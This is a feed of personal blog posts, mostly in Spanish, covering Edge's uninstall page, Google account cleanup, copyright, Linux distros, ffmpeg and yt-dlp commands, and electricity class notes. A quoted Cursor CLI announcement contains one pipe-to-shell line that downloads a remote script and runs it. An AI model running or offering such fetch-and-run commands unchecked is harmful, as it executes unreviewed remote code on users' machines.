<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqoYlJAXM-Pkcd3PDeMA6YUVYQSoQbbktqRWYVAHSRrysAB_C-thd8k5zaeQzm80JqlNgmoK6r9kBK3VbwxsfcsoXZ731jsDgBZWM1ue_i3niJF9GPfsNFibp88huPOSTlgjnD3lo9PHjNXexklTlCvcmZNybDx956sPCRirh7bbEX11NdkyGt483dpuM/s4160/IMG-20251006-WA0003.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCOl5ea0IetomsZ9a_ztLX7dYb7zGeQKs_Y2hxVSy4CtmnIlQLLsybBvhofsd3qWp2Pl4CXeaDeizwLSx13i4cq-uk9HyYSRvLlLhIQiLhejctT5kfV0zqsz5MCPhIneNLfYRCG-Wk1zp80XpgMkZ7drctR3q53Z6nxT-utdqFwpR2USSW0zIi6pWXAM/s4160/IMG-20251006-WA0004.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLMUjGxsHZBgv1EqufL_RJPXpNMT0QSUbGvJfezgsFo_DzRApCX5dxtDaBwRcgH1vquOVRWBw-zCHjvnUBIhgEYYFYqzZUGD-PVImWV35X0q8-DngVgnzWPeWqAUcSsjjfEHd0DSTvMgWeHVc27OzzRfmQCogn7XWLrPac2NmJ3QI58vNB_4oeA2BDhp4/s4160/IMG-20251006-WA0005.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgofaquAhlPFtGZwtPr4-H_tnoEWCE_EV5qZtY3w7h-TA5llNBy5uX74YryYvmj9K-ZGrmY6lrm_JwBtLgyy3jBayoGXkbvM7ZQOS2wRuvW_1xY__czxAlmLKGCsLaAMqIhePTOTD-Au-W8nML4bp8jf0X5BCi7wRVOHUkGDUmHxtVqOXoQ8Dy_ktUdbPw/s4160/IMG-20251006-WA0006.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXvkMBczRAEFNoKROvhJPsFwIaCGbCLxO7WZEXVefS97IRoLFFdfGJPOOcoo-pIBYCJGmWaZds__P0yYJ1NELK0AnxkVwkymTuBNLVrrRgpXsoP3hHUzdHOd97vJHzVbKyHE5pOvGx6hqg3eme1mECuZSOLifCKMf0IywUmtiKMaaM1ZsVpmPrmzmqIs0/s4160/IMG-20251006-WA0007.jpg" alt=""></p>
-
Microsoft: uninstall edge
https://imlauera.github.io/microsoft_uninstall_edge/
Mon, 06 Oct 2025 14:20:39 -0300
https://imlauera.github.io/microsoft_uninstall_edge/
<p>Actualmente uso Falkon en ArchLinux, ni siquiera uso Xorg ni Wayland puedo hacer esto porque suporta <strong>EGLFS</strong>.</p>
<p>Asi que me da gracia cuando miro videos sobre como <strong>desinstalar Microsoft Edge</strong>.</p>
<hr>
<p><strong>La página de desinstalación de Microsoft Edge</strong> y el marketing que la rodea.
Puntos clave:</p>
<ol>
<li><strong>Trucos de la página de desinstalación</strong>: La URL <code>https://www.microsoft.com/en-us/edge/uninstall-edge</code> redirige a la página de descarga en lugar de ofrecer una desinstalación real.</li>
<li><strong>Exageración del marketing</strong>: La página dice que se pierden funciones como Copilot, pestañas verticales, <em>VPN integrada</em>, lectura en voz alta(read aloud), cupones y herramientas de IA.</li>
<li><strong>Comparaciones sesgadas</strong>: Microsoft muestra Edge como muy superior a otros navegadores Chromium, ignorando que características similares existen en otros navegadores o mediante extensiones.</li>
<li><strong>Afirmaciones cuestionables</strong>: Ganancias de eficiencia, ahorros y funciones “únicas” están exageradas o solo aplican a usuarios en EE. UU.</li>
</ol>
<p>Lo mismo que pasaba con Internet Explorer.</p>
-
Transfer Google account.
https://imlauera.github.io/logout/
Sun, 05 Oct 2025 11:33:39 -0300
https://imlauera.github.io/logout/
<h2 id="-step-by-step-plan">🧭 STEP-BY-STEP PLAN</h2>
<h3 id="-1-download-all-your-data-optional-backup">🔹 1. <strong>Download all your data (optional backup)</strong></h3>
<p>Before deleting anything, back up your Gmail and Google Drive data:</p>
<ul>
<li>Go to 👉 <a href="https://takeout.google.com/">Google Takeout</a></li>
<li>Select what you want to download (emails, contacts, Drive files, etc.)</li>
<li>Click <strong>“Next step” → “Export”</strong> and wait for the download link.</li>
</ul>
<hr>
<h3 id="-2-check-what-apps-and-devices-are-linked">🔹 2. <strong>Check what apps and devices are linked</strong></h3>
<ul>
<li>Go to 👉 <a href="https://myaccount.google.com/security">myaccount.google.com/security</a></li>
<li>Scroll to <strong>“Your devices”</strong> → remove every device you no longer use.</li>
<li>Scroll to <strong>“Third-party apps with account access”</strong> → click each one → <strong>Remove access</strong>.</li>
</ul>
<p>💡 <em>This cuts off all apps, websites, and services that use your Gmail to log in.</em></p>
-
Copiar esta bien: el verdadero peligro es no copiar.
https://imlauera.github.io/copiar_esta_bien/
Sat, 04 Oct 2025 14:52:15 -0300
https://imlauera.github.io/copiar_esta_bien/
<h3 id="cultura-hacker">Cultura Hacker</h3>
<p><a href="https://denshi.org/blog/copying-is-cool/">https://denshi.org/blog/copying-is-cool/</a><br>
<a href="https://geohot.github.io/blog/jekyll/update/2025/02/19/nobody-will-profit.html">https://geohot.github.io/blog/jekyll/update/2025/02/19/nobody-will-profit.html</a></p>
<hr>
<h3 id="resumen-provocador-">Resumen provocador: <em>“Copying is Cool!”</em></h3>
<p>Denshi deja algo muy claro: <strong>copiar es la esencia de aprender y crear en la web independiente</strong>. Cada vez que imitas un diseño, un efecto o un enlace, estás participando de un ecosistema de experimentación que impulsa la creatividad.</p>
<p>Y sí, <strong>las empresas y los gobiernos inventaron el copyright</strong> para evitar que copies libremente, porque cada copia podría restarle control y dinero. Quieren que la creatividad muera en patentes y contratos, no en manos de personas que quieren probar, modificar y mejorar.</p>
-
La distribución de Linux que uses no afecta demasiado el rendimiento.
https://imlauera.github.io/la_distro_no_importa/
Sat, 04 Oct 2025 12:56:52 -0300
https://imlauera.github.io/la_distro_no_importa/
<p>A no ser que uses un entorno de escritorio pesado como Gnome 3. El rendimiento sera practicamente el mismo porque el problema esta en el navegador, que es grande y hoy en dia se usa para todo.</p>
<p>Existen canales enteros de YouTube que se dedican a probar diferentes distribuciones de Linux, pero <strong>la mayoría de estos videos funcionan más como una forma de consumismo que como información útil</strong>.
Es lo mismo que hacen las empresas al venderte una nueva Mac, consola de videojuegos o smartphone: la comunidad de Linux repite el patrón, pero con distribuciones.</p>
-
Incrementar velocidad subir volumen con ffmpeg
https://imlauera.github.io/incrementar_velocidad_subir_volumen_ffmpeg/
Fri, 03 Oct 2025 16:20:25 -0300
https://imlauera.github.io/incrementar_velocidad_subir_volumen_ffmpeg/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -i input.m4a -filter:a <span style="color:#e6db74">"volume=4.0,atempo=1.5"</span> output.m4a
</span></span></code></pre></div><ul>
<li><code>volume=2.0</code> → doubles the volume (you can use e.g. <code>1.5</code> = +50%, <code>3.0</code> = triple).</li>
<li><code>atempo=1.5</code> → speeds up the audio to 1.5×.</li>
<li>You can chain filters with a comma: <code>"volume=...,atempo=..."</code>.</li>
</ul>
<p>⚠️ Note:</p>
<ul>
<li><code>atempo</code> only accepts values from <strong>0.5 to 2.0</strong>.</li>
<li>If you need faster than 2×, you must chain multiple <code>atempo</code> filters, e.g.:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -i input.mp3 -filter:a <span style="color:#e6db74">"atempo=2.0,atempo=1.5"</span> output.mp3
</span></span></code></pre></div><p>(this would give 3× speed).</p>
-
Interesante minimalista theme al estilo HackerNews
https://imlauera.github.io/minimalist/
Thu, 02 Oct 2025 22:55:48 -0300
https://imlauera.github.io/minimalist/
<p><a href="https://github.com/ronv/minimalist">https://github.com/ronv/minimalist</a></p>
-
Electricidad / Clase 74: Tableros: protecciones de tensión, contactor. Hablamos de problemas de un tablero.
https://imlauera.github.io/electricidad74/
Wed, 01 Oct 2025 22:26:37 -0300
https://imlauera.github.io/electricidad74/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1nEzfJ6G3mbb">https://vocaroo.com/1nEzfJ6G3mbb</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/output_202510">https://archive.org/details/output_202510</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=5AlJY9d4cfg">https://www.youtube.com/watch?v=5AlJY9d4cfg</a></p>
<h4 id="videos-enviados-por-el-profesor-a-través-de-whatsapp">Videos enviados por el profesor a través de WhatsApp:</h4>
<p><a href="https://www.youtube.com/watch?v=65MlO1WThMw">https://www.youtube.com/watch?v=65MlO1WThMw</a></p>
<p><a href="https://youtu.be/VwOkqM4j-ts?si=kwxAZ4jNd1_mPcJK">https://youtu.be/VwOkqM4j-ts?si=kwxAZ4jNd1_mPcJK</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcfk-QY9rb1wqrdut9n3vmO_ju0FSMtVKx6mHxP6DwkkhOERcWp0SXIZRaKUsuJG9nPpW3_JNeuAbyl09hBS6OzQ_oE01-vjsPfj7ogd8Z-yYdbaqy-qlssbOMVNVTCDrdzLAyze38aWFiRzNZACOYDpqt9wzTjuAFw-1iSINyYKEYOvtzDBZbFcZuM2M/s4160/IMG-20251001-WA0000.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEvbFjWqdcZfYzswg6mUgl-1e2FHIcGc4_VhNrfDZ0vb2QFUUSKpvJskn0agunHkLC6iqo-NLyxPB0jYWnvUnHXUpigTKIQoKC-4OauEZyJ35E_XrWq-IuyEMqg3Gv3AIE_rZxkcuUVfO9dh2rrbse4wWYykZIYJBxyGEn6h2hnB2b-r6vpc4VCuVepK4/s4160/IMG_20250930_202834790.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYNHjg9lg_dJ3uoprcDHFJOQMNYe7JlED02JMPkjvM0G-2_ytzLm-Oom9Urw1BovbKM2kqv5hEsQWZ-wdAOwOPCJjKbOsyuL77dtW5qBp_KftyRKKkPkY_fBOhLZXHVJEFvNj5cL0t0fSEd43S7PkhgNvUCx2KYcNMyVUJwVwzKMo4qKvk4cEcuCp0I4s/s4160/IMG_20251001_193542079.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOpcjnqHc28RTjAF63tS4x8xUyV0ZvcRc9W3LmWFU7rHNEdIuJwJIXrtWCP-VBt5xEehlaMdMbuuNqpaz8tCZhKbWo2a5qZH0mj9-6TwBgwc3BnD2ahyiZAX3TT3hE7tfhygONlUzwgb59H-xEo9-GqYAG8fLB1H7Eypec2G_jbNOaHIsS79bipgswPN4/s4160/IMG_20251001_193735754.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1TkV46VrLDgp4B7INrQTv90ncyaroUTHSU2YkUUdwtTCk-md6EV7eTLJOuMkVtzyocGwZwn7bsd_myvSkeG_JywzIvsBxfhBt9iLfKvNhu7qvpmeBvxe-miZp2MyPLd-HjL7M3NDRhtyKeriMO-zp1HN-l9WW4ESi6nwLccP0Lgx0qGXxj_vnRtTbfOY/s4160/IMG_20251001_193738576.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjgMI6G_jfGYc3tUFseVy2smhPjcLjORrsi1Xr4XaxgcU0yvcPRy6N3ryOJOqdrXikjQz6LbhNr5fdNRRPsJRByBCb6XfIAsayDeZdREOBWFknu7A80n2HYPo364cMz62S4QaZktt-BeXeC7ip40CE6P-VlePU1SNzSKWHk7my3VH4U0uc3QbyHK1vNV0/s4160/IMG_20251001_201600714.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga7NgcO2cNuglG87tgbR_b6z_djdkyLnzxWv9MXkIWrht3xWhi6NwFzx9mUe7w16OKWMXXzvWmuwcN4NChlwf0VcCLc3P7YATbX6pcpgoUDIzeBAiJIuRG_ld4xFD-WJJT3LVBvCVdaLjP9c8Rq0Lkl65EkwMXAj9j-V0wUc7mYWkaAQaifqFttd4nxiA/s4160/IMG_20251001_202557746.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUDiv3xHBIxrjsEBOPxiAw3i97vMbO_6bfDmkDIFxof1Fkb4Mub_ksN8Vc0QDSaB3dZwDu4cf88_08T0Q1_r1xpXoAPng19JIL1slcqqDAIlweGtN7dZ9la-m5NS5fzdpC220A9RKAnBCL2MDh5Sz6GxtE-_KXjBeU-_Igr_hj7IbVStenbmRbRhkvfDE/s4160/IMG-20251001-WA0001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGeoE__XMQUAKbeNWiCHgDFYfWxMfVSCkKCTfJybAyg3YMfETjZZEtknNOZi8ktPPGiJB8-ytNmNvtQtIpGkogqQ0WKZm0pwMubHGSER3TR-fjxjlKWVOWy1FkSNgdse66QjUT-kWGLQtU6vM07Pu_Xcn6axk-b1MrPGb5LOH8tOWSaU6CdNLN1yIiKI0/s4160/IMG-20251001-WA0002.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8TswPKW-h8WFy_0wMOGzE3g59-VJz3ZiE-qvkoAniRE4cMLPxZfjvRqhhl4eSXYsyHqnmeycW-EeItohtSeP-Hmg5D5-fHl18taWHGfLh1-Etrz9jvFSaYR1rFS7qC-TRHGyeRXD17HMywY9vuKRB3pCP0jYU0xXWPimV5uQJcr2rHB6u6saawGXANTU/s4160/IMG-20251001-WA0003.jpg" alt=""></p>
<h1 id="resumen">Resumen.</h1>
-
Yt Dlp audio
https://imlauera.github.io/yt-dlp_audio/
Wed, 01 Oct 2025 09:32:35 -0300
https://imlauera.github.io/yt-dlp_audio/
<p>Para descargar cualquier audio de cualquier video de YouTube: <code>yt-dlp -f bestaudio</code></p>
<h3 id="-correct-syntax-for-fallbacks">✅ Correct syntax for fallbacks</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yt-dlp -f <span style="color:#e6db74">"233/140/251"</span> URL
</span></span></code></pre></div><ul>
<li>
<p><code>233/140/251</code> means:</p>
<blockquote>
<p>Try format <strong>233</strong>, if not available then <strong>140</strong>, if not then <strong>251</strong>.</p>
</blockquote>
</li>
</ul>
<hr>
<h3 id="-difference-between-separators">🔀 Difference between separators</h3>
<ul>
<li><code>/</code> → fallback (first available one is used).</li>
<li><code>+</code> → combine (e.g., video+audio).</li>
<li><code>,</code> → download multiple formats at once.</li>
</ul>
<hr>
<h3 id="example">Example</h3>
<p>If you want <strong>Opus (251)</strong> but fallback to <strong>M4A (140)</strong>:</p>
-
Electricidad / Clase 73: Armamos tablero (usando distribucion).
https://imlauera.github.io/electricidad73/
Tue, 30 Sep 2025 21:47:55 -0300
https://imlauera.github.io/electricidad73/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://voca.ro/1gBwvVHnF69E">https://voca.ro/1gBwvVHnF69E</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-282">https://archive.org/details/record-282</a></p>
<h4 id="audio-en-archive-1">Audio en Archive:</h4>
<p><a href="https://www.youtube.com/watch?v=KJDlypdghUY">https://www.youtube.com/watch?v=KJDlypdghUY</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihwKksDhoDM5PfsSEZ4RxnLRDPFvPYb4XyjzCy0-mMqea7QQrRJ6WXKhzwDDZNeLbm7gE7DVdhD3S_m1nLsyH6RJjDqJfILQlC9S6JHzYKlZuoITUnYVHzNuNQo9_X20bIbhO9-sp8ihgJlK7GBgFXScdk8hkFS_Etd2DCJEmccA1FDEYg9psWDLd1oSM/s4160/IMG_20250930_191316061.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghirnGrsH3vHo7xkZTxJ2whn5cxvkFvMK0vDuIvEYemXUe15wP3p9_8pFTPmDA2JnhI6UGXiJJc3xeQn_xlHaSlJ8cLD1T1VbqYaE-c9rp7_a2aGcJYVluBM5WvRUpax3KYkm6TSPTUAbWSvFkTRK4yOB9jJA4iw1N2-eTsqI4f0tQEKWyR0KYREv-Y9A/s4160/IMG_20250930_194736576.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiUI95iHTQkt6dTz_ylpqPFR4eW3mWv8MwTcne3uQXRV06DiMUiIx4ReG7ow1WQNXUSBhks0DGYn2CBRU6S9YzcMUkmtwJPuUgpkzyeIzCEt4laBB2XWkEdzrmpK-EZfZclWYjU25wdYeOJjLdHGWTDZ0_b0Uxx6NHrYEP69A65gFecyb0Msx7-mg6IkA/s4160/IMG_20250930_194744102.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik7SxfWwxrb4g2caOxFYt462p4_-ut_9Avcttoj5u-vTWnTq3ejtP2aslaqGZ3PTlqeZ901AiwBGbTqMDADiucJJ1z8FVENujGd5jmiQFWm8lNJNx1CjGnc9Xbgii0Iq9QHl2Q3gpXHMqCLE9krT7sidYBtk5n0Low8kc2Em7jR5x1YfLmdkhPltMAqxU/s4160/IMG_20250930_194828441.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFilC9HrVxSjJyjev_8jgemPe8c73j66v4qBGCYgHgeY9UYrOwAYL0bV_BYFvsTpRHcv_mO8MtapEgA6MGSrB5APgu7s_t6gCiPuVC0q1JK_GwQ6xH0UdD75YaqQhguYfQWtQfqkdwa6inpcB8c61tPr7pSJBTlpZmbIe-nJK0P5ybMfz2am6aJkTwzNQ/s4160/IMG_20250930_194836824.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9ytkHaDMiZzuIT_6hkqU_EHSk4UsMrOZYutNOV5YC_tUMtGMU41vR0PCIKl1BxIy0g08uiQRKZIaxpt4PwCr1h__brrLVO4sVhXLfJ-ekHoGoJZb7q8zISaP8F8ABmR8VQhpRvMTu6zFdC3FQAm7WgHpohjFCaJqF6lKmdbJEIE8TXXCqbD4YgNWdGIQ/s4160/IMG_20250930_194853406.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9wGrOh586hRZ-JLAZsHQwt0xrQFLl1dkc_boesOPf8gqFgsd9061t-LJRTzXfjtUjiJyNfTFSoqYpHaKIrnSZ7qT7VxQswbUtNs4P5_AZwU3DDe2e4lbpQPCaKhvEf9WwvP4SP32hOWZPrPlvJjkcTtA_tqM26sHAsw9yHlH3g3Bcd4sZPNK_tn7az3c/s4160/IMG_20250930_194900127.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQtHzRDzF191bshl3MrHwoLCRFhVJ1uV8jrhrzvnkEluvYy4U1KGoZt4OxZ_gBKa-XTiaraFRSPdjiV4_WVCeAah4ukMmMJI-N5LoxIKTmQTVolhg-sj4ggb6a-FkL8kS4CCbx9srTr6fHvsncQey-3YWICpBo0DUPCsHbD48AK07PXDoEuqGicThjakY/s4160/IMG_20250930_195624379.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHbIdAyKivI783_5TlahvyLhbC_CU5tChxgkne7oKlCo1bM_1bKGuxrbR3FpR09jGmsiPRgdX3zZ6q_Mv3YOLA_ur3W5atpIGgbqYGWLDL7v4qrTB08aL24r7G2iHRi5aYp9Jo7XxY2I0VYx4YB6o61sYF0uPcWew_02NjH4Ab7GfKQN3se7-0qqcgbXA/s4160/IMG_20250930_201009418.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh01mPuPMlRL4McACHRcQM-o0EojnOzjkfALkGPbQc_EyCwT5PWJ_3ZYcqZClrcyrW_2Tz_aAR-FxDAI3tkLOWSZMLi5Z_seyusR7Bt4DxZwKjEDcZnqNGfB9iABW9Qwc28uleBcd__Aec62xH7I1pvR8it0cdbQIRwPapAMIMpVReh7SLm2_qKRCQLKIE/s4160/IMG_20250930_201310750.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSxvPs3OAGED5pX0760Leuxdh8zpunTcA-m9LG-62sAZqYl4sf66cbBLaU25KAcL4U_fE6KnufzmnqyCUWgSV3W3kkUfoJxsmX1D4cwSOP9Dzg8fe1xO-dYh_mVYu9mmC525JIiarwa2b41LWSw12e5n6-SAReuVIKsTllIFO4ry9oqF6-6PqpYyWNi7w/s4160/IMG_20250930_201330556.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5Va7rpSDVgbCRjxxNq5NAo8ybnXaKWTj0iTI6rkzIl7bOVwNEmvoT1Mnn8SZ78MVIHicpdxi3LblLoH74MhLx4Y27c-RwosfnYoJnpMSFAeMFV3nJXFoop7iesG4uQIeWxfdnGXPzX1kFiW93CBaHEYyrdRMtERUWVOT-IE2HN6a7b0nvtTW_mnfF4rI/s4160/IMG_20250930_201340840.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghM_IWwBYC7hd8HN31cPt7ddc-UgOBRknVTOXdoiXFzAn3FucyB4mc4G2hu0e8S7FYC0htIjPRj0k_q1pNOB4PTMpWGSZDePSB7L8xDkHWlDQV8Rg-kM_itoBf0c1Djv7fJdyHo2S2vLZ6TnlymFzr-TAy7ALinnFOY6XcNZKkvTy-u4hyQgmkpi2egLI/s4160/IMG_20250930_202607368.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhs8vuVfpvCzBOCdgh-TOVh36j1sdi-edx_I1OTpwyM-nL3gVAQ9HhRVL7IbGNfvRSEoL7Y35S4EEfNNqZ1Ozn2HR7ZRdd-bMpW1nW2Ga6RSmfuDtDqb-rc2xgjUD5BFSjkTSgWLdushCWDX4V2hULrPX0En4j_edU-QYd2o9xG4epPK0UjG1Ysq1cLvug/s4160/IMG_20250930_202617140.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1uvxTket5fTXtqA96VtZpUvkI8bGJwSLV1mv583Q94vYHNaNpGiFPuRxAVrDR6mqvvVvEIC7Q7Kiw39AF6S3jJTIxvT7-NCkKNphcNXbTxaMqwnTg8A8CkBxCH9PhyphenhyphenxFIQw16rJ9JobyuVzDp77m-dFwpLZ8J9nQVCR4Aqu9VxyonlMVd20R7Do9W7mU/s4160/IMG_20250930_202633577.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsQpdfJ0VmNFbLYONKN6nVhvKka_cElSbFkqA5kzi2dTiM_ANoTspvrZB-awa9Y8uEkQ0pnFyjjEhO1Igzv-dNObHUfoveMFiOUODMaHvWBXBiTsl5GBxqfiFexp2ZFPxumT4KB1dfRD_kZ30OePjd9Y0hBi-fC410fQdhSc5a5ApeU19lLeDp5ZCEBmA/s4160/IMG_20250930_202649382.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRzGyOmQOwge3YSiUDT_UVFAzpTeELGUnYgXSBA8ZaDFjvsG0XtgeB98cXG4jrR2YMLEuyLNFeymrAhIg06rVOxYdCCaqdZyJQd-D5p1Toid5d6cFuOpLZx6mpl7_ZKQVftxHVbkOcgwNC8aLV2Lx2ijIiyLpmeY0nwGG56JLxCMT3yBPXJ0m3sjJyr-Y/s4160/IMG_20250930_202758667.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2rRaYz3S-gRpurjIst61_9J9KJIUpEMDzPDcDiv-Hl0xaZNbGlylnSSxD4kUyYA6iSU1sghRKmOD5c2QKTgtRbZGLlevT9QeWNhHJKbRki0JyZfCoVJPpl7Ux4hmiOq9zLZpuEo1t5ek-L8Vm7iYkJJQx3iohtu4lcid5UTgbICC6-Yl3kArLqQJAPGQ/s4160/IMG_20250930_202834790.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifBYQhhCV0utZh7k8a-7DsVhbQ2M3I2-sfVgOKq2qsvBaqpelZgic4FzbwKKBOJlhSgET0yfkTN2BXgc_FfWCrYQGOGaI8eH6n7XtMvdylIu6eE9cA5tBTU8j8P6eKLi9l2OEHzTlCVc9m7pb7wbvKR3-xS8VUs1eNIG4HFnCxf-muZr_alo6PwiAOtsU/s4160/IMG_20250930_202841887.jpg" alt=""></p>
-
Cursor CLI y Gemini
https://imlauera.github.io/cursor_cli/
Tue, 30 Sep 2025 18:05:25 -0300
https://imlauera.github.io/cursor_cli/
<p>Hoy recibí este correo de cursor ahora se puede usar desde la consola?</p>
<p>Cursor CLI is now available - code from
Hi,
You can now use Cursor Agent from the CLI or headless in any environment.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl https://cursor.com/install -fsS | bash
</span></span></code></pre></div><p>If you’re using Neovim, JetBrains, or other IDEs, you can now use the full power of Cursor Agent alongside your favorite tools.</p>
<p>The CLI works with any model as part of your Cursor subscription. You can now choose to use Cursor agent in the editor, or have multiple agents run in parallel in the terminal or remotely.</p>
-
Electricidad / Clase Nº 72: Clase práctica. Armado de tableros.
https://imlauera.github.io/electricidad72/
Tue, 30 Sep 2025 11:05:00 -0300
https://imlauera.github.io/electricidad72/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/14UQkueCwaMj">https://vocaroo.com/14UQkueCwaMj</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-278">https://archive.org/details/record-278</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=r3ebTz2mR5w">https://www.youtube.com/watch?v=r3ebTz2mR5w</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIu4b51JBk4_U76Zl6wPbqu90_GkIRSrTk9sUdJTbacEn1FzzP-0uh1ZJDJkWFYR5Sbhq-zRkVzGykxGoWRsfdI3W2HdBJkrW96w5H_6AuMwOwOMggBH7Q1qoZwa2ENdv8a8hTfZikBgXP0fZCmDpzBaFYB-fqi2CpI08ACertus5F_WDfw0rBiNRfvgg/s4160/IMG_20250929_184659344.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBOQBR7wJzx6FlqCKcVhA4llr2QLYh1gSgfUHuAlNcIqFFcglIuzKAYL4Fq_It2BjD4BiDL0tZ8Xr8zgxqNPTt3o71WLFhyWhyoL-g_W7gxI4EVrImu7MWflbp1wjHXdyRkObR4Hb6pymGoeiz5vn675MI-m6D92ITVlTppiuQPzveyAUQM811OIBYtmA/s4160/IMG_20250929_190154568.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY_Cawu0YYI41QtXGvOl01wfWMoy-0FtYsJPZxrzewZwq2r2kIJTcLwuK5R9_k3NPhzPMPtQllygkNxroI85ZNnIxKJ24DKmAuZ7YDU4oisoyUaFotBghopF4384ZxPEnFw0whjYCE6Uj7TTtOKbuH-s2sXOGWfYqhOjkfTAeK4A3KvyKddmYxqZUzesU/s4160/IMG_20250929_192140877.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8t0TWiCr-EmAVyVnlIg1DF49NO05lD9sZ15ZI-Klaxo0VGIrLACnbZcRBhHNMK0VQtpHP80IHBCiSa4rgIl1Jd-7FanrQVuUr74SxSr50MfYGYp8H8r2FbZwDw6eVm9_R2_tKORTFGht3CH4PENPs0Pw8n10AajuZh77vPopxL207MLfNYfNg8qoa9_g/s4160/IMG_20250929_192220461_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht9koLmGKjhC9AuP1TEzqFHA9oCOSKffdvKHcMpyiGjghidZeJG0YQ2YnhOjyjhrFSI9t3mg9eiYm35g3ia1LZEzZj0Bue12UUK-YHJ4Zgua1FRrKrlTvFVJabBk-Vfr5sJNlIeImMlL39-j4mXXeT7B_qYDf1TUmb78g81UTw2ueWZjCc3P_0-6y4Oik/s4160/IMG_20250929_192220461_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv_YsXuyfL9LvCN_OUe4ndTRseBUoBtQ_WuYY6m5YRMldYYMKMFcffCkrrbLkSgvXVZ6vosY9FHXACRBpSZL1xgg2m8jDF7Z0n9QkBpgwcP3r9UxzKCNmT5nkz2mpI0vicdaODjHPmiGvHYOMP5h2BDfA-0ivIdNKJmEwutvCriOlRBzGLCVUXKxf4bjU/s4160/IMG_20250929_192231473.jpg" alt="">
